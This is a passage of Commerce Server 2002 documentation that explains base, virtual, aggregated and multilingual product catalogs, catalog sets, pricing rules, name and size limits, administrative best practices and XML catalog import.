The previous figure also shows an accessory relationship between Ace Soccer Shirt and Ace Soccer Shorts. If users are interested in the shirts, they might also be interested in the shorts.

See Also

Creating Category Hierarchies

Creating Category and Product Relationships

Best Practices for Catalogs

Catalog Name and Size Restrictions


Base Catalogs and Virtual Catalogs

Before you create and organize your catalogs, it is important to understand that you can create two types of catalogs: base catalogs and virtual catalogs. The two types of catalogs are described below, together with three examples of how you can use virtual catalogs.

Base Catalogs

Virtual Catalogs

Virtual Catalog Example 1: Providing Special Pricing

Virtual Catalog Example 2: Pricing Products in Other Currencies

Virtual Catalog Example 3: Offering a Subset of Products

Base Catalogs

Base catalogs contain categories and products, but they do not contain any specific pricing rules. Base catalogs also contain product data, which is stored in the catalog database.

Virtual Catalogs

Virtual catalogs reference the product data in one or more base catalogs. If you add a product to a base catalog, the product may also appear in the associated virtual catalog, depending on the inclusion rules. Products in a virtual catalog are represented only once in the database, regardless of how many virtual catalogs they appear in.

There are three primary uses for virtual catalogs:

  • To aggregate multiple catalogs so they appear as one catalog to users.
  • To price products in multiple currencies.
  • To provide special pricing, or subsets of products, for specified groups of users.

Virtual catalogs support price rules. That is, you can specify whether the price for the category or product is the same as the price in the base catalog or different. For example, the price could be a percentage or set amount more or less.

Virtual Catalog Example 1: Providing Special Pricing

In the following figure, two fictional European companies – Wheels and Bikes Galore– have entered into a contract. The Wheels Company will sell motorcycle wheels at a 20 percent discount to the Bikes Galore customers. All products are priced in euros. To create this virtual catalog, you set the following rules:

  1. Include the Wheels catalog.
  2. In the Bikes Galore catalog, set the price of the products in the Motorcyle wheels category to 20 percent off.

Virtual Catalog example

Virtual Catalog Example 2: Pricing Products in Other Currencies

The following figure shows a virtual catalog that includes products in a base catalog, which are priced in U.S. dollars. To show the prices for products sold in Canada in Canadian dollars, the prices in the virtual catalog are multiplied by 160 percent. To create this virtual catalog, you set the following rules:

  1. Include the Clothes catalog.
  2. Set the price of the products in the clothes catalog to 160 percent.

Virtual Catalog example

Virtual Catalog Example 3: Offering a Subset of Products

The following figure shows a virtual catalog that includes a subset of products from a base catalog. The subset of products will be sold in France. All products are priced in euros. To create this virtual catalog, you set the following rules:

  1. Include the Clothes catalog.
  2. Exclude the Dresses category.

Virtual Catalog example

See Also

Creating a Base Catalog

Creating a Virtual Catalog

Converting Prices to an Alternate Currency

Discounting Product Prices in a Virtual Catalog

Aggregated Catalogs

Multilingual Catalogs

Catalog Sets


Catalogs from Multiple Suppliers

You can import catalogs from multiple suppliers, display them on your Web site as one catalog, and when users buy a product from the catalog, you can transmit the orders directly to the suppliers for fulfillment.

Each Commerce Server catalog includes a vendor ID attribute. This attribute is populated when your system administrator uses Microsoft BizTalk Server to set up a trading partner agreement with a vendor (and configures the App Default Config resource so the BizTalk Options property is set to "1"). If the vendor ID attribute is empty, Commerce Server assumes you are the vendor for that catalog.

When you integrate with BizTalk Server, the vendor ID attribute is used to automatically send purchase orders to that vendor for the items purchased from the catalog. After your system administrator sets up an agreement with a vendor, the new vendor will be added to the drop-down list of vendors in Commerce Server Business Desk, and you can then choose the vendor from the list.

There are two main steps to implement this scenario:

  1. Create a virtual catalog in which you aggregate the content from the supplier catalogs. This step is described in Creating a Virtual Catalog.
  2. Integrate Commerce Server with BizTalk Server to transmit orders to your trading partners. This step is described in "Integrating with BizTalk Server" in Commerce Server 2002 Help.

Following is an overview of the steps you and your vendors perform to exchange catalogs using BizTalk Server:

  1. Install and configure BizTalk Server so you can receive catalogs from vendors.
  2. Configure the App Default Config resource so the BizTalk Options property is set to 1.
  3. Set up an agreement with a vendor.
  4. A vendor sends you their catalogs using e-mail or BizTalk Server, and you then import the catalog into your Commerce Server catalog database using the Catalog Editor module in Business Desk.
  5. You can send catalogs from Business Desk to the vendor by click the Send button on the toolbar in the Catalog Editor module. A dialog box appears that lists the vendors that are defined in BizTalk Server with agreements, and to which you can send the catalog.

More than one catalog can be associated with a given vendor. You can also specify a vendor at the product level; however, if you do specify a vendor at the product level, your site developer must customize the _additem.asp page on your Web site. For information about customizing _additem.asp, see Commerce Server Solution Sites.

See Also

Base Catalogs and Virtual Catalogs

Aggregated Catalogs

Multilingual Catalogs

Catalog Sets


Aggregated Catalogs

An aggregated catalog displays the content of multiple catalogs. For example, if you are selling content from multiple suppliers, each of which sends you one or more catalogs, you can combine the content into one aggregated catalog.

To aggregate two or more catalogs, you first create a virtual catalog and then include the content from the base catalogs. To the user visiting your site, an aggregated catalog appears as though it is one catalog.

An aggregated catalog is different from a catalog set in that they are comprised of different components and provide availability differently. The following are some of the differences:

  • An aggregated catalog is the combination of multiple catalogs into one virtual catalog. Creating an aggregated catalog is similar to creating a virtual catalog. Instead of including data from one base catalog, you can include data from multiple base catalogs.
  • A catalog set is a group of one or more catalogs that you make available to different users or organizations. You can then create a catalog set that includes aggregated catalogs, and other catalogs in your database.

You specify which users or organizations can view the catalogs in a catalog set; an aggregated catalog can be available to all users, if the aggregated catalog is not a member of a catalog set.

See Also

Base Catalogs and Virtual Catalogs

Including Base Catalogs in a Virtual Catalog

Multilingual Catalogs

Catalog Sets


Multilingual Catalogs

A multilingual catalog displays category and product text in more than one language. For example, you might want to display product information in English, French, and Japanese.

Following is an overview of the steps you perform to create a multilingual catalog:

  1. Add multilingual property definitions for the items you want to display in more than one language.

    By default, the catalog definition includes a set of multilingual properties, for example:

    • Product Name – Multilingual Text
    • Description – Multilingual Text
    • Color – Multilingual Multiple Choice

    For information about changing non-multilingual properties to multilingual properties, see "Changing Non-multilingual Properties to Multilingual" in Commerce Server 2002 Help.

  2. Add product definitions that use the multilingual properties. For example, assign Product Name, Description, and Color to each product definition.
  3. Create the catalog, and specify the languages the catalog is to support, for example, English, French, and Japanese.
  4. Add products and categories that include the multilingual properties, such as Product Name and Description.
  5. Translate the multilingual products and categories into the languages supported by the catalog. You can use one of the following methods to translate the catalog:
    • Translating a catalog by exporting/importing. If you have many products you need to translate, use the Catalog Editor module to export the catalog to XML, and then send it to a translator. After the catalog is translated, you can import it to the catalog database used by Commerce Server. You can then use Commerce Server Business Desk to update and publish the catalog, as needed.
    • Translating a catalog with Business Desk. If you have only a few products you need to translate, use the Catalog Editor module in Business Desk to manually add the product data in a different language.

See Also

Converting Prices to an Alternate Currency

Adding a Catalog Multilingual Property Definition

Adding a Catalog Product Definition

Changing Non-multilingual Properties to Multilingual

Creating a Base Catalog

Adding a Product to a Catalog

Adding a Category to a Catalog

Translating a Catalog by Exporting/Importing

Translating a Catalog with Business Desk


External Catalogs: Using Join Keys

A new feature in Commerce Server 2002 is support for join keys. A developer uses join keys to link to external tables to retrieve inventory data at run time, and to associate multiple values with a product.

Two common scenarios for using join keys are:

  • Retrieving volatile catalog data at run time, such as inventory data. You cannot include inventory data in the catalog itself because the site never writes to the catalog database. In addition, to use Network Load Balancing, the catalog database must be read-only.
  • Associating multiple values with a product, such as a list of song titles for a CD, a cast list for a movie title, or a list of customer reviews for a product.

The following figure shows how you can use join keys to retrieve data from an external table and the Commerce Server catalog database.

Join keys example


Catalog Sets

You determine which catalog a user sees on your site by creating catalog sets. A catalog set is a group of one or more catalogs that you make available to different users or organizations.

A catalog set is different from an aggregated catalog in that they are comprised of different components and provide availability differently. The following are some of the differences:

  • An aggregated catalog is the combination of multiple catalogs into one virtual catalog.
  • A catalog set is a group of one or more catalogs that you make available to different users or organizations. You can then create a catalog set that includes aggregated catalogs, and other catalogs in your database.

You specify which users or organizations can view the catalogs in a catalog set; an aggregated catalog can be available to all users, if the aggregated catalog is not a member of a catalog set.

To create a catalog set, for example, you might create two base catalogs and a virtual catalog, define a catalog set that includes the two base catalogs and virtual catalog, and then display the catalog set to members of a specific organization.

The following figure shows how members of a soccer club can view the Team Clothes catalog that has special pricing.

Special pricing catalog

You use Business Desk Profiles modules to specify which catalog set a user can view. When you create a new user, you specify the catalog set name. For information about creating a new user and specifying the catalog set, see Adding a User Profile.

See Also

Creating a Catalog Set

Adding a User Profile

Base Catalogs and Virtual Catalogs

Aggregated Catalogs

Including Base Catalogs in a Virtual Catalog

Multilingual Catalogs


Product Pricing Methods

It is likely that you will need to update product prices on a regular basis. Initially, however, you can set the price of a product in a catalog by using one of the following methods: direct pricing, indirect pricing, and custom pricing (price rules).

Direct Pricing

Indirect Pricing

Custom Pricing (Price Rules in a Virtual Catalog)

Discount Campaigns

Direct Pricing

You define the price for a product in the product itself. You can do this either when you create the product or when you edit it to change the price. For more information, see Pricing a Product in a Base Catalog and Pricing at the Product Variant Level.

Indirect Pricing

The price is determined by its association with a particular pricing category. When a product is associated with a pricing category, the price on the product is replaced by the price specified in that category. The original price of the product is restored when it is no longer associated with that particular pricing category.

Indirect pricing is typically used when you want to price a group of products the same way, for example, to create a special category where all products are $1.99. For pricing products indirectly, see Pricing Products in a Category.

Custom Pricing (Price Rules in a Virtual Catalog)

In a virtual catalog, you can apply price rules to a category, product, or product variant.

You apply price rules when you are creating a virtual catalog in an alternate currency, or when you are creating a virtual catalog that will be displayed only to a specific group of users, for example, members of a club who receive discounted prices.

A category, product, or product variant can have only one price rule.

You can apply the following price rules to categories and products in a virtual catalog:

  • Set Price. You specify the exact price of the product. For example, the product is selling for exactly $10.00.
  • Add. You specify the exact amount to increase the base price.
  • Add percentage. You specify the percentage of the base price that should be added to the price.
  • Discount. You specify the exact amount to decrease the base price.
  • Discount percentage. You specify how much to remove from the price. To reduce the price by 20 percent, you specify 20 percent.

For more information about custom pricing, see Converting Prices to an Alternate Currency.

Discount Campaigns

In addition to using virtual catalogs to discount product prices, you can also discount product prices by creating a discount campaign item. The advantage of creating a discount campaign item is that you can schedule the period of time for which the discount is applicable, and you can run reports on the effectiveness of the discount campaign. For information about discounting products, see Creating a Discount.

See Also

Using Current Product Prices vs Original Product Prices

Pricing a Product in a Base Catalog

Pricing at the Product Variant Level

Pricing Products in a Category

Converting Prices to an Alternate Currency

Creating a Discount


Catalog Name and Size Restrictions

This topic lists the name and size restrictions for catalogs at the Commerce Server Business Desk level and the Catalog application programming interface (API) level. For information about values you can use for unique identifiers, see Best Practices for Catalogs.

Business Desk and Catalog API

Product Catalog Data Import DTS Task Restrictions

Scale Points for Product Catalogs

User-defined Property and Catalog Attributes

This section lists the name and size restrictions for catalogs at the Commerce Server Business Desk level and the Catalog application programming interface (API) level.

Business Desk and Catalog API

The following character restrictions apply for the indicated properties:

Item | Name and size restrictions
Property Definition Name
  • A property definition name can be up to 100 characters long.
  • A numeral is not allowed in the first position.
  • Do not use the characters "," (a comma) or "." (a period).
  • Do not use characters that are not accepted in an XML tag name. For a list of resources on XML, see:

    http://msdn.microsoft.com/xml

  • Do not use "ProductID" or "VariantID" in property definition names.
Product Definition Name | A product definition name can be up to 128 characters long.
Category Definition Name | A category definition name can be up to 128 characters long.
Catalog Name (internal name, not the one displayed on your Web site)
  • The name must be unique.
  • A catalog name can be up to 85 characters long.
  • Do not use the characters "[", "]" (brackets), ' (apostrophe), "(", ")" (parentheses), or "#." Do not use commas or periods.
  • There are no restrictions to the catalog display name.
  • If you have two or more Commerce Server sites with separate databases in which catalog data is stored, and the sites are sharing the same Data Warehouse, do not give the same name to the different catalogs for the two different sites. If two catalogs have the same name, the Data Warehouse treats them as one catalog.
Category Name
  • The name must be unique.
  • Do not use the characters "/," (slash) "," (comma) or " (quotation mark). Do not use commas.
  • Do not use a name that is more than 100 characters.
Product Name
  • The maximum length of the product name depends on the value specified in the product definition. Commerce Server does not limit the length.
  • For each product, use a unique name.
  • Verify that none of your category and product name combinations are repeated.
    • If you create a catalog for a site, and you have non-unique product names within categories, the wrong product may be added to the shopping basket when the user selects a product for purchase. This occurs because the product name is appended to the category name. For example, product 1A in category B and product A in category B1 are both stored as "B1A."
Product ID
  • Use an integer or text.
  • Do not use date/time or a currency.
  • Do not use quotation marks.
Variant ID
  • Do not use quotation marks.

Product Catalog Data Import DTS Task Restrictions

If you are importing catalog data into the Data Warehouse, do not create catalog properties that contain special characters. Special characters cause the Product catalog data import DTS task to fail. For example, catalog properties should not include the following characters: '!', '"', '%', '&', '(', ')', '*', '+', ',', '-', '.', '/', ':', ';', '<', '=', '>', '?', '\\’, ']', '^', '`', '{', '|', '}', '~'. They should not contain any control characters, for example, 0x00 /* NULL */, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07 /* , CONTROL-G <BEL> */, 0x08 /* CONTROL-H <BS> */, 0x09 /* CONTROL-I <HT> */, 0x0a /* CONTROL-J <LF> */, 0x0b /* CONTROL-K <VT> */, x0c /* CONTROL-J <FF> */, 0x0d /* CONTROL-M <PRS_CR> */, 0x0e /* , CONTROL-N <SO> */, 0x0f /* CONTROL-O <SI> */, 1x10, 0x11, 0x12, and so on.

Scale Points for Product Catalogs

Commerce Server supports a practical limit of 10,000 base catalogs or 10,000 virtual catalogs, or a combination of the two. There is no hardcoded limit.

In Commerce Server 2002, a new parameter in the ImportXML method allows you to import the catalogs without creating the full text catalogs.

The following table lists additional scale points for Commerce Server catalogs.

Item | Size or number supported
Number of catalogs 10,000 base catalogs or 10,000 virtual catalogs

Or, you can use a combination of both base and virtual catalogs.
Number of products per catalog Five million

Note

  • Commerce Server has not been tested with 10,000 catalogs each containing five million products.
Number of property definitions per catalog | 1,000
Number of base catalogs per virtual catalog | 80
Number of products per virtual catalog | One million
Number of price rules per virtual catalog | 10,000
Number of products per category | 10,000
Number of nested categories | Five

In addition, Commerce Server supports the SQL text data type, which is not subject to the Microsoft SQL Server row size limit of 8,060 bytes. Multiple product catalogs can share a single SQL Server full-text catalog.

User-defined Property and Catalog Attributes

The maximum number of user-defined property and catalog attributes is 100. Commerce Server 2002 allows you to define additional attributes to associate user-specific information with properties and catalogs. For example, you can create a user-defined catalog attribute to associate vendor information with a catalog.

You can use the AddPropertyAttribute and AddCatalogAttribute methods of the CatalogManager object to add property and catalog attributes. The following character restrictions apply for the indicated properties.

Item Name and size restrictions
CatalogProperty
  • There is no numeric limit.
  • The maximum number of Catalog Properties that can be used in any one catalog is 1000. (SQL Server has a limit of 1024 columns in any table.)
  • These properties are also the names of the columns in the per-catalog tables.
PropertyAttribute
  • The maximum number of user-defined Property Attributes that can be added to the Product Catalog System is 100. These are not related to the CatalogProducts table.
  • These properties are the additional user-defined columns in the CatalogAttributes table.
CatalogAttribute
  • The maximum number of user-defined Catalog Attributes that can be added to the Product Catalog System is 100. These are not related to the CatalogProducts table.

See Also

Best Practices for Catalogs


Best Practices for Catalogs

The following best practices are for the site developer, system administrator, and business manager to implement.

Developing with Catalog Components

Designing a Catalog

Assigning Product Identifiers and Variant Identifiers

Importing a Catalog

Deploying Catalogs

Developing with Catalog Components

The following best practices are for the site developer to implement:

  • When you use as a join key the product ID, variant ID, or another indexed column in the CatalogProducts table, it is recommended that you index the join key column in the external joined table.

    For example, if you use the GetProductProperties API (in which the product ID is the join key), you get better performance when the join key is indexed in the external table. Performance is similar to that of not using a joined table.

    In this scenario, when the product ID is not an index in the external table, the performance is slower. For more information about join keys, see Code to Join an External Table to Product Recordsets.

  • Use join keys to link to external tables to retrieve inventory data at run time, and to associate multiple values with a product.

    Two common scenarios for using join keys are:

    • Retrieving volatile catalog data at run time, such as inventory data. You should no include inventory data in the catalog itself because the site never writes to the catalog database. In addition, by treating the catalog database as read-only, you can use Network Load Balancing of the catalog database so you can scale your site.
    • Associating multiple values with a product, such as a list of song titles for a CD, a cast list for a movie title, or a list of customer reviews for a product.
Note
  • If you use a join key to get real time external data such as inventory, you must also update the inventory and cached data for the updated product/variant. Ask your system administrator for assistance.

    For more information about join keys, see Code to Join an External Table to Product Recordsets, CatalogManager.SetJoinTable Method, and CatalogContext.SetJoinTable Method (BCL).

  • When developing a .NET-based site, implement tracing by using CatalogContext.DebugContext.

    For information about using DebugContext, see CatalogContext.DebugContext.

Designing a Catalog

The following best practices are for the site developer and business manager to implement:

  • When designing a catalog for future growth, keep in mind the following scale points:
    • Multiple product catalogs can share a single SQL Server full-text catalog.
    • Commerce Server supports at least 10,000 catalogs: 10,000 base catalogs, 10,000 virtual catalogs, or a combination of both base and virtual catalogs.
    • A catalog supports at least five million products. (Commerce Server has not been tested with 10,000 catalogs each containing five million products.)
    • A catalog can support up to 1,000 property definitions.
    • A virtual catalog can include content from up to 80 base catalogs; it cannot include content from other virtual catalogs.
    • A virtual catalog can include up to one million products.
    • A virtual catalog can support up to 10,000 price rules.
    • A category can support up to 10,000 products.
    • Categories can be nested five layers deep.
    • Commerce Server supports the SQL text data type, which is not subject to the SQL Server row size limit of 8,060 bytes.
  • Use unique names for each catalog, category, and product. Verify that all category and product name combinations are unique.

    If you create a catalog for a site, and you have non-unique product names within categories, the wrong product may be added to the shopping basket when the user selects a product for purchase.

    For example, product 1A in category B and product A in category B1 are both stored as "B1A."

  • After you create a product, you cannot assign a different product definition to it.
  • You cannot change a data type of a property after the property is created.

    For example, assume you create the following:

    • ProductDefinition1, and it contains Property1 and Property2
    • ProductDefinition2, and it contains Property2 and Property3

    If you create a product based on ProductDefinition1, at a later date you cannot change the product to be based on ProductDefinition2. You can, however, change ProductDefinition1, for example, by adding Property4.

    You cannot assign a new product definition, or change a data type, after it is in use because other products or properties might be affected by the change.

  • Verify that a property name does not have mismatched parentheses in its name.

    For example:

    • Correct: shoe size (mens)
    • Incorrect: shoe size mens)

    Commerce Server does not verify the parentheses for you. You can create a property name that is missing a parenthesis, but you will not be able to retrieve it from the Commerce Server database.

  • To display a single catalog that contains multiple currencies, create a virtual catalog for each currency.

    Use the currency properties; do not use multilingual properties for multiple currencies.

    You can use one of the following approaches:

    • Create a virtual catalog for each country/region, and then use price rules to define the price of each product for that country/region.
    • Create a virtual catalog for each country/region, use price rules to apply a currency conversion rate (percentage) to all products.
    • Create a currency property for each currency that you support, for example, cy_list_price_USD, cy_list_price_CDN, and cy_list_price_JPY. Write code that queries the catalog to select the appropriate currency property for the current country/region.

    Base pricing is applied to products in a virtual catalog unless otherwise specified using price rules.

    (Language-specific values cannot be applied automatically to other languages. If you need this functionality, you can create your own runtime code to retrieve the default value if the returned value is empty. Or, you can write code to populate empty values in catalogs with the default values.)

  • Use the "Display in products" attribute of a property definition to determine whether a property is displayed in the products list in Commerce Server Business Desk.

    The Display in products attribute does not affect your Web site.

  • Use the built-in property "OriginalPrice" to view the first price assigned to a product.

    OriginalPrice is set when the price of the product is initialized, and it is never changed. Commerce Server does not maintain any history of the price of a product.

    For more information, see Using Current Product Prices vs Original Product Prices.

  • Add your own user-defined attributes at the catalog level and/or property level, as needed.

    Business Desk includes catalog attributes, such as currency, unit of weight measure, locale, and catalog name. It includes property attributes, such as minimum length/value, maximum length/value, default value, and display name. You might want to add your own catalog attributes, for example, to store information about the vendor that supplies the products in a catalog. You might want to add your own property attributes, for example, to describe how a particular property should be rendered on the Web pages (for example, drop-down list, button, or label). You can also add a new unit of weight measure (for example, kilograms (kg)).

    To add user-defined catalog attributes and/or property attributes, your site developer must first add the attributes to Commerce Server using the Catalog API. After that is done, you can import an XML catalog file that includes the new catalog attributes, and then use the Catalog Definition Designer module to set values for the attributes.

  • Extract data from a catalog for use in a printed catalog.
    • You can use the CatalogManager.Export CSV in your custom application to export the Catalog into a comma-separated file. You can then use Microsoft Excel to open the file, or print the file as is.
    • You can Export the catalog as an XML file and then write an XSLT template to transform the XML file into a printable version. For more information on XSLT and its usage, see: http://msdn.microsoft.com/xml.
    • You can also extract data for use in a printed catalog by using a custom application that extracts the Web pages from the server. Using the Commerce Server objects, you can enumerate all products and information by using COM+ interfacing.
    • You can also use publishing software that has an XML interface designed for this exact purpose. When you import XML files, the publishing software produces glossy brochures.

Assigning Product Identifiers and Variant Identifiers

For base catalogs, you must assign product identifiers and variant identifiers. In a virtual catalog the product ID will always be "ProductID" and the variant ID will always be "VariantID." When creating a virtual catalog, you do not have to specify the product ID and variant ID.

The following best practices are for the site developer and business manager to implement:

  • In each catalog, use the same property for the unique ID.

    In Business Desk, when you list the products in a catalog, Commerce Server creates one column for every unique ID property. If you include 20 catalogs in a virtual catalog, for example, and each catalog uses a different property for the unique ID, then Commerce Server displays 20 unique ID columns. If each catalog uses the same property for the unique ID, then only one column is displayed.

  • When assigning a product ID to a product, use either an integer or text.

    Do not use a date, time, or currency.

  • Do not add as a product variant property any properties that will be used as product IDs.

    For example, if you use ModelNumber as the identifier for products in your catalog, do not create a product definition in which ModelNumber appears as a product variant property. If you do, you will not be able to create instances of the product definition in that catalog.

  • Do not use the same value for product unique identifiers and variant unique identifiers.

    If a variant property of a product is the product unique identifier for the catalog, you cannot save the product. For example, you cannot assign stockkeeping unit (SKU) as the product unique identifier and the product variant unique identifier.

Importing a Catalog

The following best practices are for the business manager to implement:

  • Before you import an XML catalog file using Business Desk, select the Validate XML file option on the Import Catalog dialog box to ensure that all data in your XML file is valid.

    Business Desk will display up to 20 errors found in an XML catalog file import. Do not import the XML catalog file until it is validated without errors.

  • Your system administrator must start the full-text indexing service (Microsoft Search service) before you can import a catalog into the catalog database.

    When a catalog is imported into the Commerce Server catalog database, the full-text index is created at the same time.

  • If you experience poor performance when importing 100,000 to 1 million products into a base catalog, or publishing a virtual catalog of a similar size, your site developer should use two SQL Server Database Console statements (DBCC) to improve performance.

    Use SQL Server Query Analyzer to run DBCC FREEPROCCACHE and sp_updatestats. These commands improve the performance of Catalog APIs, such as GetProduct and GetProductProperties:

    • DBCC FREEPROCCACHE removes all elements from the procedure cache.

      Syntax: DBCC FREEPROCCACHE

    • sp_updatestats runs UPDATE STATISTICS against all user-defined tables in the current database.

      Syntax: sp_updatestats [[@resample =] 'resample']

    For more information about these commands, see SQL Server Books Online.

  • To import a catalog on a regularly scheduled basis, for example, to import catalogs from trading partners, ask your developer to write the appropriate code.

    For information about using the CatalogManager API to write the code for importing a catalog, see CatalogManager Object.

Deploying Catalogs

The following best practices are for the system administrator to implement:

  • If your site uses relative URLs to images in catalog file name properties, for those images to be displayed in Catalog Editor, create a virtual directory for the graphics.

    You must create a virtual directory under the BizDesk virtual directory, and map the URL to the directory containing the images.

    To create a virtual directory

    1. Click Start, point to Programs, point to Administrative Tools, and click Internet Services Manager.
    2. In the Internet Information Services screen, expand <server name>, and expand <your Web site>.
    3. Right-click your Business Desk application (for example, retailbizdesk), click New, and then select Virtual Directory.

      The Virtual Directory Creation Wizard starts.

    4. In the Welcome to the Virtual Directory Creation Wizard dialog box, click Next.
    5. In the Virtual Directory Alias dialog box, in the Alias box, type the name of the subdirectory where you store images for your site, and then click Next.
    6. In the Web Site Content Directory dialog box, type the appropriate path in the Directory field (default is C:\inetpub\wwwroot\images), and then click Next.
    7. In the Access Permissions screen, clear the Run scripts (such as ASP) check box, and then click Next.
    8. In the Completing the Virtual Directory Creation Wizard dialog box, click Finish.
  • Set up the ProductCatalogs folder under the BizDesk folder on the server as a share.

    When importing or exporting a specifying a file on the server side, if users only specify the file name, the file will be imported from or exported to the ProductCatalogs folder under the BizDesk folder on the server. For example, exporting a file as output.xml will export it on the server as d:\inetpub\wwwroot\retailbizdesk\productcatalogs\output.xml. You can set up this folder as a share.

  • Enable the SQL Server change-tracking feature to automatically update the full-text indexes of your catalog tables.

    Using the change-tracking feature, you can update the full-text index with changes immediately, on a schedule, or as they occur, using the background update index option. However, when SQL Server periodically updates the full-text indexes, it will impact the performance of your site.

    By default, the change-tracking feature is disabled on the Commerce Server catalog tables. This means you must update your full-text indexes manually (using Business Desk) every time data in the catalog is changed, but at a time that you choose.

    For information about enabling change tracking, see SQL Server Books Online.

  • If you create a .pup package that contains a materialized virtual catalog, after you unpack the virtual catalog, you must materialize the virtual catalog again.

    When Commerce Server unpacks a materialized virtual catalog, it uses the views instead of the materialized tables. For information about using the MaterializeVC.vbs script, see Materializing Virtual Catalogs.

  • Use the CatalogCleanup.vbs script to delete temporary tables from the MSCS_CatalogScratch database.

    To improve run-time performance, the Product Catalog System uses the MSCS_CatalogScratch database to store temporary catalog tables. These temporary tables are empty when not being used. It is recommended that you run the CatalogCleanup.vbs script on a weekly basis to remove the tables. If you do not run the script, a few temporary tables will remain in the MSCS_CatalogScratch database.

    The CatalogCleanup.vbs script is located in the \Program Files\Microsoft Commerce Server 2002\Support folder. To run CatalogCleanup.vbs, provide the connection string to the MSCS_CatalogScratch database.

  • Rebuild a virtual catalog so products that are included from the base catalogs are available to set price rules.

    You must rebuild a virtual catalog in the following scenarios:

    • If a virtual catalog is materialized, you must rebuild the virtual catalog when any data changes in the associated base catalogs.
    • If the virtual catalog is not materialized, you must rebuild the virtual catalog whenever the data in the associated base catalogs changes (for example, pricing changes, and hierarchy and relationship changes).
    • You must rebuild a virtual catalog whenever you change include/exclude rules or pricing rules.
  • Do not rebuild a virtual catalog on a production server. Users will not be able to access the catalog.

    Only rebuild virtual catalogs on your staging server. After the catalogs are materialized, you can replicate them to you production servers without impacting user transactions.

  • Do not delete products from the catalog when the full-text indexing service (Microsoft Search service) is stopped.

    The Microsoft Search service creates full-text indexes on the content and properties of the catalogs, allowing fast linguistic searches on this data. If the Microsoft Search service is stopped, and then you delete data from the catalogs, the catalogs will become corrupt. Your system administrator will notify you when downtime is scheduled for the Microsoft Search service.

  • Use the Updatefulltextcatalogs.vbs script to update the full-text indexes on all product catalogs in one full-text catalog.

    When you have multiple catalogs in one full-text catalog, you can use the Updatefulltextcatalog.vbs script to update the full-text indexes of all the catalogs at the same time. It is more efficient to use Updatefulltextcatalog.vbs script than to use the ProductCatalog.RegenerateFullTextIndex object, which can consume a lot of resources on the SQL Server.

    The Updatefulltextcatalog.vbs script is located in the \Program Files\Microsoft Commerce Server 2002\Support folder. To run Updatefulltextcatalog.vbs, pass it the connection string to the catalog database and two other parameters. For instructions, see Running the Updatefulltextcatalog Script.

  • Use the SP_FULLTEXT_SERVICE command to set the resource usage for the full-text service (Microsoft Search service).

    The following command sets the resource usage to 3 (the default):

    EXEC sp_fulltext_service 'resource_usage', '3'

    If you set the resource usage to 5, the full-text index population is faster, but the service will use 100 percent of the CPU.

  • Use UpdateLanguageInfo.vbs to populate the CatalogLanguageMap table. Configure the word-breaker for each column that is full-text indexed in the neutral language table.

    Given a full-text search phrase such as “This is a new book,” a word-breaker parses the phrase into individual words. The behavior of a word-breaker depends on the language for which it is configured. For example, to support searches of an English catalog, you would specify the word-breaker 1033, where 1033 is the locale identifier for English.

    You might want to configure the word-breaker for the language of a catalog. For example, if you have a Japanese-only catalog, then all text properties would hold Japanese text, regardless of whether the properties were defined as multilingual. In this case, the default word-breaker is not appropriate; configure the word-breaker for Japanese.

    To specify the word-breaker for a catalog, you can manually add a row for the locale in the CatalogLanguageMap table (for example, "en-us", 1033). Or, you can populate the CatalogLanguageMap table using UpdateLanguageInfo.vbs, which is located in the \Program Files\Microsoft Commerce Server 2002\Support folder.

    To configure the word-breaker for the neutral language table, <CatalogName>_CatalogProducts, use a row in the CatalogLanguageMap table {"neutral", <locale identifier>}. When you change the neutral language word-breaker, it affects only catalogs that are created afterward. This change will affect all catalogs, both pre-existing catalogs and new catalogs.


Importing and Exporting Catalogs

You might want to import and export Commerce Server catalogs in the following scenarios:

  • Export catalog data stored in an Oracle database to an XML or CSV file, and then import it into Commerce Server. You might ask your system administrator to set up a scheduled job to do this regularly.
  • Export a multilingual catalog in Commerce Server to an XML file, send to a translator for translation, and then import the catalog into Commerce Server.
  • Export a catalog data that is stored in a Microsoft Excel spreadsheet, and then import it into Commerce Server.

You can use Commerce Server Business Desk to import a catalog in all three of these scenarios.

To import a catalog on a regularly scheduled basis, for example, to import catalogs from trading partners, ask your developer to write the appropriate code. For information about using the CatalogManager API to write the code for importing a catalog, see CatalogManager Object.

This section contains:

  • Importing an XML Catalog File
  • Importing a CSV Catalog File
  • Exporting a Catalog
  • Exporting a CSV Catalog File to Excel


Importing an XML Catalog File

A Commerce Server catalog in Extensible Markup Language (XML) file format contains both catalog definitions and product data. You can import a Commerce Server catalog XML file, and then use the Catalog Editor module to make changes to the product data.

Notes

  • Your system administrator must start the full-text indexing service (Microsoft Search service) before you can import a catalog into the catalog database.
  • You cannot import a catalog that contains a product definition that has the same name as an existing product definition, but different properties.
  • Your catalog can include custom catalog attributes and property attributes.
  • If your catalog contains product variants, you must use XML to preserve your variants. Comma-separated values (CSV) files do not support product variants.
  • After importing a catalog, you or your system administrator should check the Application Event Log on the server for any errors.
  • To import catalog XML files that are larger than 1 GB, the server must have MSXML 4.0 installed.

To import an XML catalog file

  1. In Catalogs, click Catalog Editor.
  2. In the Catalogs screen, click Import on the toolbar, and then select Import XML from the drop-down list.
  3. In the Import XML Catalog dialog box, do the following:
    Use this | To do this
    Specify an XML file on the server | Type the name of the XML catalog file that you want to import. This XML catalog file must be located on the same computer as Commerce Server.
    Specify a locally accessible XML file Click Browse to navigate to an XML catalog file located on your Business Desk client computer.

    If the catalog is large, the import process will take several minutes to complete. It is much faster to import a catalog that is located on the server.
    Delete existing data in this catalog | If you are importing a catalog that already exists in your Commerce Server catalog database, select this check box to delete the catalog data from the existing catalog before importing the new version.
    Validate XML file (do not import) | Select this check box to validate the data in the XML file before you import it. If the data is not valid, an error message appears and the catalog is not imported.
  4. Click OK.

    A message appears stating that the catalog import process has started. The catalog import process may take several minutes, depending on the size of the catalog. During this time, you can use Business Desk to perform other tasks or exit Business Desk.

    If you receive a message that the XML file is not valid, contact your system administrator to determine the problem.

  5. To see the catalog after you import it, click Catalog Editor. This step refreshes the Catalog Editor screen.
  6. To publish the catalog to your Web site, click Catalog Editor, and then click Publish a catalog on the toolbar.

    For more information about publishing a catalog, see Refreshing and Publishing a Catalog.

See Also

Best Practices for Catalogs

Translating a Catalog by Exporting/Importing

Importing a CSV Catalog File

Cannot import a catalog

CatalogManager


Importing a CSV Catalog File

